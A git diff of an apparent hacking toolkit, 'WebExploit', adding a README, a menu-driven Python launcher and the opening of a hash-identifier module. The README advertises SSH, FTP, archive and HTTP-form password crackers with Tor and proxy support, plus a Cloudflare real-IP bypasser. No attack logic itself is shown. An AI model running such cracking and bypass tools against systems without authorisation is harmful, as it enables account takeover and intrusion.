diff --git a/README.md b/README.md
index b330b6a..e83f84a 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,130 @@
+[](https://github.com/c4ssif3r/WebExploit)
+
+
[](http://127.0.0.1:9050)


+- [X] __WebExploit:__
+- Vesrion 1.0.0 [MJI]
+
+
+##### Launch and installing WebExploit 🕸️:
+
+1. Clone WebExploit from github:
+
+- `git clone https://github.com/C4ssif3r/WebExploit/`
+
+2. Change directory to WebExploit
+
+- `cd WebExploit`
+
+3. Installin requirements python library:
+
++ For LINUX:
+ - `sudo python setup.py install`
+
++ For TERMUX:
+ - python setup.py install`
+
+4. Launch (run) Web Exploit with python3.x:
+
+- `python WebExploit.py`
+
+### other requirements (for noobs!)
+
+`apt update -y && apt upgrade -y && apt install python -y && apt install git -y`
+
++ Install Python Pip (if is not installed!)
+
+`apt install python-pip`
+
+
+
+###### TESTED ON:
++ [X] TERMUX
++ [X] KALI LINUX
+
+**Note ! If u using kali to sure using** `sudo` **when installing requirements!!!**
-#### coming soon ;)
+
+#### preview WebExploit
++ ###### WebExploit Main Menu:
+ []()
+### Features:
++ #### Information Gathering:
+ [ℹ️ Whats Information Gathering?](https://github.com/C4ssif3r/WebExploit/wiki/Information-Gathering)
+ []()
+ + Advanced Port Scanner. [Click for show info & How To Use](https://github.com/C4ssif3r/WebExploit/wiki/Advanced-Port-Scanner-Tool)
+ + Angry Hash Type Finder [Identifier All Hash Types] [Click For Show Info & How To Use?](https://github.com/C4ssif3r/WebExploit/wiki/Angry-Hash-Finder-(type(identifier))-%F0%9F%98%A1)
+ + Base 16 32 64 85 Decode & Encode [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Base-16-32-64-85-Decodr-&-Encoder)
+ + BruteForce Directories [DirBooster] [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/DirBooster-%F0%9F%91%BD)
+ + CloudFlare Bypasser [Get Real IPv4] [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/cloudflare-bypasser)
+ + CMS - Content Management System [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Cms-detector)
+ + Get Location By ip:v4 (Show On GoggleMap) [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Ipl-Ip-to-location!)
+ + Ping Tool < By External Server > [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Ping-tool-by-external-server)
+ + Reverse Ip Lookup ( Get Sites On A IP ) [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Reverse-ip-lookup-!-Domain-LookUp-:-%3F)
+ + Shodan Search Engine \+ Save Results [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Sse-shodan-Search-Engine-%F0%9F%94%8D-XD%F0%9F%94%8E)
+
++ #### Private Web Hacking:
+ [ℹ️ Whats Priv8 Hacking Tools?](https://github.com/C4ssif3r/WebExploit/wiki/Priv8-Web-Hacking)
+ []()
+ + BruteForce Directories [DirBooster] [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Base-16-32-64-85-Decodr-&-Encoder)
+ + CloudFlare Bypasser [Get Real IPv4] [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/cloudflare-bypasser)
+ + (EyeCracker)Mojiana ( BruteForce All HTTP Forms ) [angry 😡💢 ! Click For show options and how to use it!?](https://github.com/C4ssif3r/WebExploit/wiki/Mojiana-!)
+
+| Supoort | MethodRequest | ProxySupportTypes |
+| :-------------------- | :--------------------: | --------------------: |
+| YES | HTTP(S) POST FORM | TOR, HTTP(S), SOCKS4,5 |
+| YES | HTTP(S) GET FORM | TOR, HTTP(S), SOCKS4,5 |
+- [X] PROXY SUPPORT
+ - HTTP(S)
+ - SOCKS4,5
+ - TOR 
+- [X] HEADER SUPPORT
+- [X] COOKIE SUPPORT
+
+
+ + Reverse Ip Lookup ( Get Sites On A IP )
+
++ #### Password Attacks (Crack)
+ [ℹ️ Whats Password Attacks Tools?](https://github.com/C4ssif3r/WebExploit/wiki/Password-Attacks-Crack!)
+ []()
+ + Angry Hash Type Finder [Identifier All Hash Types] [Click For Show Info & How To Use?](https://github.com/C4ssif3r/WebExploit/wiki/Angry-Hash-Finder-(type(identifier))-%F0%9F%98%A1)
+ + Base 16 32 64 85 Decode & Encode [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Base-16-32-64-85-Decodr-&-Encoder)
+ + FTP Crakcer [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Ftp-cracker)
+ + SSH Cracker [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Ssh-cracker)
+ + RAR Password Cracker [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Rar-cracker)
+ + ZIP Password Cracker [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Zip-Cracker)
+ + (EyeCracker)Mojiana ( BruteForce All HTTP(s) Forms ) [angry 😡💢 ! Click For show options and how to use it!?](https://github.com/C4ssif3r/WebExploit/wiki/Mojiana-!)
+
+| Supoort | MethodRequest | ProxySupportTypes |
+| :-------------------- | :--------------------: | --------------------: |
+| YES | HTTP(S) POST FORM | TOR, HTTP(S), SOCKS4,5 |
+| YES | HTTP(S) GET FORM | TOR, HTTP(S), SOCKS4,5 |
+- [X] PROXY SUPPORT
+ - HTTP(S)
+ - SOCKS4,5
+ - TOR 
+- [X] HEADER SUPPORT
+- [X] COOKIE SUPPORT
+
+
+
+> EyeCracker Pic:
+
+[](t.me/Zer0x00)
+
+
+
+
+
+
+`.◠.`
+
+`Please Report Bug's to my telegram:)`
+
+
+Report bug 🪲 [](https://t.me/IranPwner)
+
+
diff --git a/VERSION b/VERSION
new file mode 100644
index 0000000..227cea2
--- /dev/null
+++ b/VERSION
@@ -0,0 +1 @@
+2.0.0
diff --git a/WebExploit.py b/WebExploit.py
index 6d3ae08..37a8d78 100644
--- a/WebExploit.py
+++ b/WebExploit.py
@@ -1,8 +1,470 @@
-import os
-import time as t
-from cores import baner #ba
-from cores import dirboster #dirboster
-from cores import aps #aps
-from cores import wpf
-from cores import ipl
+def WebExploit():
+ '''
+ 'MjI'
+ _____________
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+
+
+ import os,sys
+ from colorama import Fore as f
+ import time as t
+ from treelib import Node, Tree
+ tree = Tree()
+ class FlowerNode(Node):
+ def __init__(self, color):
+ self.color = color
+ fnode = FlowerNode("white")
+
+ # baner #bnr
+ # dirboster #dirboster
+ # zipc # zip password cracker
+ # rarc # rar password cracker
+ # aps #advanced port scanner
+ # wpf # wordpress plugin finder
+ # ipl # ip location tool
+ # ril # reverce ip lookup
+ # ssc # ssh cracker
+ # fpc # ftp cracker
+ # b64 # base 16, 32, 64, 85 tools . enc . dec
+ # sse # shodan search engine
+ # cms # content management system detector
+ # cfb # CloadFlare bypasser
+ # mojiana # ?
+ # ping # ping tool
+ # ahf # angry hash finder
+ # updater # update WebExploit
+ from cores import (updater, baner, dirboster, zipc, rarc, aps, wpf, ipl, ril, ssc, fpc, b64, sse, cms, cfb, mojiana, ping, ahf, pnt)
+ reset = "\033[0m"
+ red = "\033[0;31m"
+ class C:
+ '''
+ Define Colors By Manual.
+ '''
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ reset = "\033[0m"
+ white = f.WHITE
+ global c
+ c = C
+ updater.run()
+
+ while True:
+ bnr = baner.baner()
+ print (bnr+f.WHITE+".VERSION 2.0.0 \MJ\\"+C.reset+C.bold)
+ print ('|')
+ #print(f.WHITE+""+C.reset+C.bold)
+ class F(object):
+ def __init__(self, color):
+ self.color = color
+
+ ftree = Tree()
+ tree = Tree()
+ tree1 = Tree()
+ tree2 = Tree()
+ tree3 = Tree()
+ tree.create_node("Web Exploit", "WebExploit") # root
+ tree.create_node("1- Information Gathering", "info", parent="WebExploit")
+ #tree.create_node("", "", parent="crack")
+ # tree.create_node("2- Web Hacking", "WebHacking", parent="WebExploit")
+ # tree.create_node("Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]]", "mojiana2", parent="WebHacking")
+ # tree.create_node("Content Management", "cms12", parent="WebHacking")
+ tree.create_node("2- Private Web Hacking", "p8web", parent="WebExploit")
+ tree.create_node("Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]]", "mojiana3", parent="p8web")
+ tree.create_node("Brute Force Directories - [Dir Booster]", "dirboster", parent="p8web")
+ tree.create_node("Cloud Flare Bypass - [Get Real Ip]", "cfb2", parent="p8web")
+ tree.create_node("3- Password Attacks", "crack", parent="WebExploit")
+ tree.create_node("Base 16,32,64,85 Encode | Decode", "ba64", parent="crack")
+ tree.create_node("Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]]", "mojiana", parent="crack")
+ tree.create_node("SSH cracker Tool", "sshc", parent="crack")
+ tree.create_node("FTP cracker Tool", "ftpc", parent="crack")
+ tree.create_node("ZIP password cracker Tool", "zipC", parent="crack")
+ tree.create_node("RAR password cracker Tool", "rarC", parent="crack")
+ tree.create_node("Angry Hash Type Finder - [Identifier]", "aAHF", parent="crack")
+ tree.create_node("Reverse Ip Lookup - [Get Sites On a IP]", "ril2", parent="p8web")
+ tree.create_node("Cloud Flare Bypass - [Get Real Ip]", "cfb", parent="info")
+ tree.create_node("WordPress Plugin Finder", "wpf", parent="info")
+ tree.create_node("Get Location By Ip v4", "ipl", parent="info")
+ tree.create_node("Brute Force Directories - [Dir Booster]", "dirbooster", parent="info")
+ tree.create_node("Advanced Port Scanner", "aps", parent="info")
+ tree.create_node("Reverse Doamin Lookup - [Get Sites on a IP]", "ril", parent="info")
+ tree.create_node("Base 16,32,64,85 Tool Enc-Dec", "b64", parent="info")
+ tree.create_node("Shodan Search Engine + [Save Results]", "sse", parent="info")
+ tree.create_node("Content Management System Detector", "cms", parent="info")
+ tree.create_node("Angry Hash Type Finder - [Identifier]", "ahf", parent="info")
+ tree.create_node("Ping Tool - [By External Server]", "ping", parent="info")
+ #tree.create_node("Version 1.0.0 \mj\\", "version", parent="WebExploit")
+ #tree.create_node("", "", parent="info")
+ # TREE 1
+ # print ('\n')
+ tree1.create_node("Information Gathering", "infog") # root info g
+ tree1.create_node("10 -> WordPress Plugin Finder Tool ", "wpf2", parent='infog')
+ tree1.create_node("0 -> Advanced Port Scanner", "aps2", parent='infog')
+ tree1.create_node("1 -> Angry Hash Type Finder - [Identifier]", "ang2", parent='infog')
+ tree1.create_node("2 -> Base 16,32,64,85 Tool Enc-Dec", "bse2", parent='infog')
+ tree1.create_node("3 -> Brute Force Directories - [Dir Booster]", "db2", parent='infog')
+ tree1.create_node("4 -> Cloud Flare Bypass - [Get Real Ip]", "clb2", parent='infog')
+ tree1.create_node("5 -> Content Management System Detector", "cms2", parent='infog')
+ tree1.create_node("6 -> Get Location By Ip v4 [show on google map]", "ipl2", parent='infog')
+ tree1.create_node("7 -> Ping Tool - [By External Server]", "ping2", parent='infog')
+ tree1.create_node("8 -> Reverse Domain Lookup - [Get Sites on a IP]", "rdl2", parent='infog')
+ tree1.create_node("9 -> Shodan Search Engine + [Save Results]", "sse2", parent='infog')
+ tree1.create_node("10 -> PhoneNumber To location + [PhoneLocFinder]", "pnt", parent='infog')
+ # m
+
+ # web attacks
+ #ftree.show()
+ # TREE 2
+ tree2.create_node("Private Web Hacking", "p8_2") # root
+ tree2.create_node("0 -> Brute Force Directories - [Dir Booster]", "bfd2", parent='p8_2')
+ tree2.create_node("1 -> Cloud Flare Bypass - [Get Real Ip]", "cfb2", parent='p8_2')
+ tree2.create_node("2 -> Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]] 4y", "mjiari2", parent='p8_2')
+ tree2.create_node("3 -> Reverse Ip Lookup - [Get Sites On a IPv4]", "ril3", parent='p8_2')
+ # TREE 3
+ tree3.create_node("Crack And Password Attacks", "cpa") # root
+ tree3.create_node("0 -> Angry Hash Type Finder - [Identifier]", "ag2", parent='cpa')
+ tree3.create_node("1 -> Base 16,32,64,85 Encode | Decode", "b_all", parent='cpa')
+ tree3.create_node("2 -> FTP cracker Tool", "ftp2", parent='cpa')
+ tree3.create_node("3 -> Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]]", "mjiari3", parent='cpa')
+ tree3.create_node("4 -> RAR password cracker Tool", "rar2", parent='cpa')
+ tree3.create_node("5 -> SSH cracker Tool", "ssh2", parent='cpa')
+ tree3.create_node("6 -> ZIP password cracker Tool", "zip2", parent='cpa')
+
+ print('.MJi')
+ print('|')
+ tree.show()
+ # try:
+
+ while True:
+ try:
+ method:str = input(f'.{C.italic}/Mji/WebExploit:~# {C.bold}{C.green}')
+ break
+
+ except:
+ print ('please enter a valid value !')
+ continue
+ if method == 1 or '1' in method:
+
+ try:
+ while True:
+ os.system('clear')
+ print (bnr)
+ print(f.WHITE+""+reset)
+ tree1.show()
+ mj = input(f'.{C.italic}/Mji/WebExploit/Information-Gathering{C.reset}:~# {C.bold}{C.green}')
+ if mj:
+ if mj == '0':
+ print (f'{c.reset}')
+ aps.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '1':
+ print (f'{c.reset}')
+ ahf.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '2':
+ print (f'{c.reset}')
+ b64.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '3':
+ print (f'{c.reset}')
+
+ dirboster.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '4':
+ print (f'{c.reset}')
+ cfb.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '5':
+ print (f'{c.reset}')
+ cms.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '6':
+ print (f'{c.reset}')
+ ipl.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '7':
+ print (f'{c.reset}')
+ ping.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '8':
+ print (f'{c.reset}')
+ ril.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '9':
+ print(f'{c.reset}')
+ sse.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '10':
+ print(f'{c.reset}')
+ wpf.run()
+ input ("press enter for back to menu and press CTRL+C for exit")
+ if mj == '11':
+ print(f'{c.reset}')
+ pnt.run()
+ input ("press enter for back to menu and press CTRL+C for exit")
+ else:
+ input(f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !')
+ continue
+ else:
+ # input("press enter for back to menu")
+ print (f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !')
+ cmd=input(f'{C.red}{C.bold}WebExploit{C.reset} - exit ? y/n -> {C.green}').lower()
+ if 'y' in cmd:
+ print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!')
+ break
+ sys.exit(0)
+ # else:
+ # input(f'{C.red}{C.bold}WebExploit{C.white} -> Invalid Command Try Again [{C.bold}press enter{C.white}]')
+ # continue
+ except Exception as derr:
+ print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye! {derr}')
+ sys.exit(0)
+
+
+ if method == 2 or '2' in method:
+ try:
+ while True:
+ os.system('clear')
+ print (bnr)
+ print(f.WHITE+""+reset)
+ tree2.show()
+ mj = input(f'.{C.italic}/Mji/WebExploit/Private Web Hacking{C.reset}:~# {C.bold}{C.green}')
+ if mj:
+ if mj == '0':
+ print (f'{c.reset}')
+ dirboster.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ elif mj == '1':
+ print (f'{c.reset}')
+ cfb.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ elif mj == '2':
+ print (f'{c.reset}')
+ mojiana.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ elif mj == '3':
+ print (f'{c.reset}')
+ ril.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ else:
+ input(f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !')
+ continue
+ else:
+ print (f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !')
+ cmd=input(f'{C.red}{C.bold}WebExploit{C.reset} - exit ? y/n -> {C.green}').lower()
+ if 'y' in cmd:
+ print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!')
+ sys.exit(0)
+ # input(f'{C.red}{C.bold}WebExploit{C.white} -> Invalid Command Try Again [{C.bold}press enter{C.white}]')
+ # continue
+ except:
+ print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!')
+ sys.exit(0)
+ # TREE 3
+ if method == 3 or '3' in method:
+
+ try:
+ while True:
+ os.system('clear')
+ print (bnr)
+ print(f.WHITE+""+reset)
+ tree3.show()
+ mj = input(f'.{C.italic}/Mji/WebExploit/PasswordAttack-Crack{C.reset}:~# {C.bold}{C.green}')
+ if mj:
+ if mj == '0':
+ print (f'{c.reset}')
+ ahf.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '1':
+ print (f'{c.reset}')
+ b64.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '2':
+ print (f'{c.reset}')
+ fpc.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '3':
+ print (f'{c.reset}')
+ mojiana.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '4':
+ print (f'{c.reset}')
+ rarc.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '5':
+ print (f'{c.reset}')
+ ssc.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+ if mj == '6':
+ print (f'{c.reset}')
+ zipc.run()
+ input('press enter for back to menu and press CTRL+C for exit')
+
+
+ else:
+ input(f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !')
+ continue
+ else:
+ input("press enter for back to menu")
+ print (f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !')
+ cmd=input(f'{C.red}{C.bold}WebExploit{C.reset} - exit ? y/n -> {C.green}').lower()
+ if 'y' in cmd:
+ print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!')
+ sys.exit(0)
+ # input(f'{C.red}{C.bold}WebExploit{C.white} -> Invalid Command Try Again [{C.bold}press enter{C.white}]')
+ # continue
+ except:
+ print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!')
+ sys.exit(0)
+ # if method == 4 or '4' in method:
+ #
+ # try:
+ # while True:
+ # os.system('clear')
+ # print (bnr)
+ # print(f.WHITE+""+reset)
+ #
+ # tree1.show()
+ # mj = input(f'.{C.italic}/Mji/WebExploit/Information-Gathering{C.reset}:~# {C.bold}{C.green}')
+ # if mj:
+ # if mj == '0':
+ # print (f'{c.reset}')
+ # aps.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ #
+ # if mj == '1':
+ # print (f'{c.reset}')
+ # ahf.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ # if mj == '2':
+ # print (f'{c.reset}')
+ # b64.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ # if mj == '3':
+ # print (f'{c.reset}')
+ # dirboster.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ # if mj == '4':
+ # print (f'{c.reset}')
+ # cfb.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ # if mj == '5':
+ # print (f'{c.reset}')
+ # cms.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ # if mj == '6':
+ # print (f'{c.reset}')
+ # ipl.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ # if mj == '7':
+ # print (f'{c.reset}')
+ # ping.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ # if mj == '8':
+ # print (f'{c.reset}')
+ # ril.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ # if mj == '9':
+ # print (f'{c.reset}')
+ # sse.run()
+ # input('press enter for back to menu and press CTRL+C for exit')
+ # break
+ #
+ # else:
+ # input(f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !')
+ # continue
+ # else:
+
+ # # print (f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !')
+ # # cmd=input(f'{C.red}{C.bold}WebExploit{C.reset} - exit ? y/n -> {C.green}').lower()
+ # # if 'y' in cmd:
+ # # print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!')
+ # # sys.exit(0)
+ # # input(f'{C.red}{C.bold}WebExploit{C.white} -> Invalid Command Try Again [{C.bold}press enter{C.white}]')
+ # # continue
+ # except:
+ # print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!')
+ # sys.exit(0)
+ else:
+ # input('\nerror\nBYE!\n')
+ # os.system('clear')
+ # break
+ pass
+ # except KeyboardInterrupt:
+ # input(f'\nWebExploit -> Invalid Command \nBYE! ')
+ # break
+
+WebExploit()
diff --git a/cores/__pycache__/ahf.cpython-310.pyc b/cores/__pycache__/ahf.cpython-310.pyc
new file mode 100644
index 0000000..5e41965
Binary files /dev/null and b/cores/__pycache__/ahf.cpython-310.pyc differ
diff --git a/cores/__pycache__/aps.cpython-310.pyc b/cores/__pycache__/aps.cpython-310.pyc
index 27be7d1..9e48152 100644
Binary files a/cores/__pycache__/aps.cpython-310.pyc and b/cores/__pycache__/aps.cpython-310.pyc differ
diff --git a/cores/__pycache__/b64.cpython-310.pyc b/cores/__pycache__/b64.cpython-310.pyc
new file mode 100644
index 0000000..4f3f65b
Binary files /dev/null and b/cores/__pycache__/b64.cpython-310.pyc differ
diff --git a/cores/__pycache__/baner.cpython-310.pyc b/cores/__pycache__/baner.cpython-310.pyc
index f009596..011696d 100644
Binary files a/cores/__pycache__/baner.cpython-310.pyc and b/cores/__pycache__/baner.cpython-310.pyc differ
diff --git a/cores/__pycache__/cfb.cpython-310.pyc b/cores/__pycache__/cfb.cpython-310.pyc
new file mode 100644
index 0000000..4fda1aa
Binary files /dev/null and b/cores/__pycache__/cfb.cpython-310.pyc differ
diff --git a/cores/__pycache__/cms.cpython-310.pyc b/cores/__pycache__/cms.cpython-310.pyc
new file mode 100644
index 0000000..4eba782
Binary files /dev/null and b/cores/__pycache__/cms.cpython-310.pyc differ
diff --git a/cores/__pycache__/dirboster.cpython-310.pyc b/cores/__pycache__/dirboster.cpython-310.pyc
index f373b26..c5e58bf 100644
Binary files a/cores/__pycache__/dirboster.cpython-310.pyc and b/cores/__pycache__/dirboster.cpython-310.pyc differ
diff --git a/cores/__pycache__/fpc.cpython-310.pyc b/cores/__pycache__/fpc.cpython-310.pyc
new file mode 100644
index 0000000..0810028
Binary files /dev/null and b/cores/__pycache__/fpc.cpython-310.pyc differ
diff --git a/cores/__pycache__/ipl.cpython-310.pyc b/cores/__pycache__/ipl.cpython-310.pyc
new file mode 100644
index 0000000..751aea8
Binary files /dev/null and b/cores/__pycache__/ipl.cpython-310.pyc differ
diff --git a/cores/__pycache__/mojiana.cpython-310.pyc b/cores/__pycache__/mojiana.cpython-310.pyc
new file mode 100644
index 0000000..40ae61e
Binary files /dev/null and b/cores/__pycache__/mojiana.cpython-310.pyc differ
diff --git a/cores/__pycache__/ping.cpython-310.pyc b/cores/__pycache__/ping.cpython-310.pyc
new file mode 100644
index 0000000..a6ebf49
Binary files /dev/null and b/cores/__pycache__/ping.cpython-310.pyc differ
diff --git a/cores/__pycache__/rarc.cpython-310.pyc b/cores/__pycache__/rarc.cpython-310.pyc
new file mode 100644
index 0000000..4a08327
Binary files /dev/null and b/cores/__pycache__/rarc.cpython-310.pyc differ
diff --git a/cores/__pycache__/ril.cpython-310.pyc b/cores/__pycache__/ril.cpython-310.pyc
new file mode 100644
index 0000000..10a8efa
Binary files /dev/null and b/cores/__pycache__/ril.cpython-310.pyc differ
diff --git a/cores/__pycache__/ssc.cpython-310.pyc b/cores/__pycache__/ssc.cpython-310.pyc
new file mode 100644
index 0000000..21656e7
Binary files /dev/null and b/cores/__pycache__/ssc.cpython-310.pyc differ
diff --git a/cores/__pycache__/sse.cpython-310.pyc b/cores/__pycache__/sse.cpython-310.pyc
new file mode 100644
index 0000000..28c7b34
Binary files /dev/null and b/cores/__pycache__/sse.cpython-310.pyc differ
diff --git a/cores/__pycache__/wpf.cpython-310.pyc b/cores/__pycache__/wpf.cpython-310.pyc
new file mode 100644
index 0000000..1587eed
Binary files /dev/null and b/cores/__pycache__/wpf.cpython-310.pyc differ
diff --git a/cores/__pycache__/zipc.cpython-310.pyc b/cores/__pycache__/zipc.cpython-310.pyc
new file mode 100644
index 0000000..66ef27f
Binary files /dev/null and b/cores/__pycache__/zipc.cpython-310.pyc differ
diff --git a/cores/ahf.py b/cores/ahf.py
new file mode 100644
index 0000000..8247d61
--- /dev/null
+++ b/cores/ahf.py
@@ -0,0 +1,723 @@
+
+def run():
+ '''
+ 'MJI 3> M'
+ _____________
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ from builtins import input
+ from sys import argv, exit
+ import time as t
+ from colorama import Fore as f
+ from random import choice
+
+ bnr = ['''
+ ░█▀▀▄░░░▒█░▒█░░░▒█▀▀▀
+ ▒█▄▄█░░░▒█▀▀█░░░▒█▀▀░
+ ▒█░▒█░░░▒█░▒█░░░▒█░░░ ''','''
+ ▄▄▄ ██░ ██ █████
+ ▒████▄ ▒▓██░ ██ ▓██
+ ▒██ ▀█▄ ░▒██▀▀██ ▒████
+ ░██▄▄▄▄██ ░▓█ ░██ ░▓█▒
+ ▓█ ▓██ ░▓█▒░██▓ ▒░▒█░
+ ▒▒ ▓▒█ ▒ ░░▒░▒ ░ ▒ ░
+ ░ ▒▒ ▒ ░▒░ ░ ░ ░
+ ░ ▒ ░ ░░ ░ ░ ░
+ ░ ░ ░ ░ ░ ''']
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
